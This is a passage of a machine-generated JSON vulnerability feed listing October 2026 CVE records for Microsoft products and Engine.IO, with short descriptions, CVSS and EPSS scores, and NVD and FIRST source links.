evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103937&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103937, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103577","cveId":"CVE-2026-103577","aliases":[],"kind":"vulnerability","title":"Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.","summary":"Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.","detail":"Insecure default variable initialization in Microsoft QUIC allows an unauthorized attacker to bypass a security feature over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:53.723Z","updatedAt":"2026-10-13T23:17:24.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103577","asOf":"2026-10-13T23:17:24.900Z"},"epss":{"probability":0.00587,"percentile":0.47777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103577&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103577","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103577","type":"primary","publishedAt":"2026-10-13T19:17:53.723Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103577&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103577, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103575","cveId":"CVE-2026-103575","aliases":[],"kind":"vulnerability","title":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Remote Desktop Client allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:53.413Z","updatedAt":"2026-10-16T17:17:21.063Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103575","asOf":"2026-10-16T17:17:21.063Z"},"epss":{"probability":0.00869,"percentile":0.58503,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103575&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103575","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103575","type":"primary","publishedAt":"2026-10-13T19:17:53.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103575&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103575, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103572","cveId":"CVE-2026-103572","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code...","summary":"Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in Visual Studio Tools for Applications and SQL Server Management Studio allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:53.293Z","updatedAt":"2026-10-13T22:17:25.633Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft SQL Server","Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103572","asOf":"2026-10-13T22:17:25.633Z"},"epss":{"probability":0.00994,"percentile":0.62381,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103572&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103572","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103572","type":"primary","publishedAt":"2026-10-13T19:17:53.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103572&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103572, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103555","cveId":"CVE-2026-103555","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Virtual Hard Disk (VHD) Miniport Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:52.037Z","updatedAt":"2026-10-16T17:17:19.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103555","asOf":"2026-10-16T17:17:19.797Z"},"epss":{"probability":0.00286,"percentile":0.20923,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103555&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103555","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103555","type":"primary","publishedAt":"2026-10-13T19:17:52.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102870","cveId":"CVE-2026-102870","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.","summary":"Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.","detail":"Improper control of generation of code ('code injection') in ASP.NET Core allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:51.617Z","updatedAt":"2026-10-25T18:16:42.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102870","asOf":"2026-10-25T18:16:42.253Z"},"epss":{"probability":0.00906,"percentile":0.5959,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102870&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102870","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102870","type":"primary","publishedAt":"2026-10-13T19:17:51.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102870&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102870, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102869","cveId":"CVE-2026-102869","aliases":[],"kind":"vulnerability","title":"Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.","summary":"Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.","detail":"Access of resource using incompatible type ('type confusion') in .NET and Visual Studio allows an unauthorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:51.483Z","updatedAt":"2026-10-14T04:18:07.950Z","regions":["Global"],"vendor":null,"product":null,"stacks":[".NET","Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102869","asOf":"2026-10-14T04:18:07.950Z"},"epss":{"probability":0.00837,"percentile":0.57479,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102869&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102869","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102869","type":"primary","publishedAt":"2026-10-13T19:17:51.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102869&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102869, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102599","cveId":"CVE-2026-102599","aliases":[],"kind":"vulnerability","title":"Socket.IO enables bidirectional and low-latency communication for every platform.","summary":"Socket.IO enables bidirectional and low-latency communication for every platform. From Engine.IO 6.6.0 until 6.6.10, a transport upgrade can independently derive an Engine.IO protocol revision from the upgrade request instead of enforcing the revision stored on the existing session. A malicious client can establish a valid session and send an upgrade request with a different or omitted EIO query parameter, attaching a transport with incompatible parser and heartbeat behavior. A crafted heartbeat packet can then trigger an uncaught exception and terminate the Node.js process, including when Engine.IO v3 compatibility is disabled because an omitted EIO value is interpreted as revision 3 on the affected path. This issue is fixed in Engine.IO 6.6.10.","detail":"Socket.IO enables bidirectional and low-latency communication for every platform. From Engine.IO 6.6.0 until 6.6.10, a transport upgrade can independently derive an Engine.IO protocol revision from the upgrade request instead of enforcing the revision stored on the existing session. A malicious client can establish a valid session and send an upgrade request with a different or omitted EIO query parameter, attaching a transport with incompatible parser and heartbeat behavior. A crafted heartbeat packet can then trigger an uncaught exception and terminate the Node.js process, including when Engine.IO v3 compatibility is disabled because an omitted EIO value is interpreted as revision 3 on the affected path. This issue is fixed in Engine.IO 6.6.10.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:49.037Z","updatedAt":"2026-10-17T02:17:08.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102599","asOf":"2026-10-17T02:17:08.197Z"},"epss":{"probability":0.00576,"percentile":0.47214,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102599&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102599","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102599","type":"primary","publishedAt":"2026-10-13T19:17:49.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102599&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102599, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102233","cveId":"CVE-2026-102233","aliases":[],"kind":"vulnerability","title":"Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","summary":"Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","detail":"Missing authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.920Z","updatedAt":"2026-10-16T16:16:51.423Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102233","asOf":"2026-10-16T16:16:51.423Z"},"epss":{"probability":0.00432,"percentile":0.37263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102233&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102233","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102233","type":"primary","publishedAt":"2026-10-13T19:17:48.920Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102233&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102233, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102232","cveId":"CVE-2026-102232","aliases":[],"kind":"vulnerability","title":"Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","summary":"Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","detail":"Incorrect authorization in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.807Z","updatedAt":"2026-10-13T22:17:20.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102232","asOf":"2026-10-13T22:17:20.840Z"},"epss":{"probability":0.00342,"percentile":0.27457,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102232&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102232","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102232","type":"primary","publishedAt":"2026-10-13T19:17:48.807Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102232&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102232, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102231","cveId":"CVE-2026-102231","aliases":[],"kind":"vulnerability","title":"Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","summary":"Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.","detail":"Improper resolution of path equivalence in Visual Studio Code allows an unauthorized attacker to bypass a security feature locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.690Z","updatedAt":"2026-10-16T16:16:51.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Visual Studio"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102231","asOf":"2026-10-16T16:16:51.220Z"},"epss":{"probability":0.00388,"percentile":0.32646,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102231&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102231","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102231","type":"primary","publishedAt":"2026-10-13T19:17:48.690Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102231&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102231, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102226","cveId":"CVE-2026-102226","aliases":[],"kind":"vulnerability","title":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.","summary":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.","detail":"Improper limitation of a pathname to a restricted directory ('path traversal') in Dynamics Business Central allows an authorized attacker to elevate privileges over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:48.300Z","updatedAt":"2026-10-14T04:18:07.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102226","asOf":"2026-10-14T04:18:07.803Z"},"epss":{"probability":0.01039,"percentile":0.63738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102226","type":"primary","publishedAt":"2026-10-13T19:17:48.300Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102204","cveId":"CVE-2026-102204","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:17:45.533Z","updatedAt":"2026-10-20T19:17:14.713Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-102204","asOf":"2026-10-20T19:17:14.713Z"},"epss":{"probability":0.00399,"percentile":0.33919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102204&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-102204","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102204","type":"primary","publishedAt":"2026-10-13T19:17:45.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102204&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102204, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-100214","cveId":"CVE-2026-100214","aliases":[],"kind":"vulnerability","title":"Deserialization of untrusted data in Dynamics Business Central allows an authorized attacker 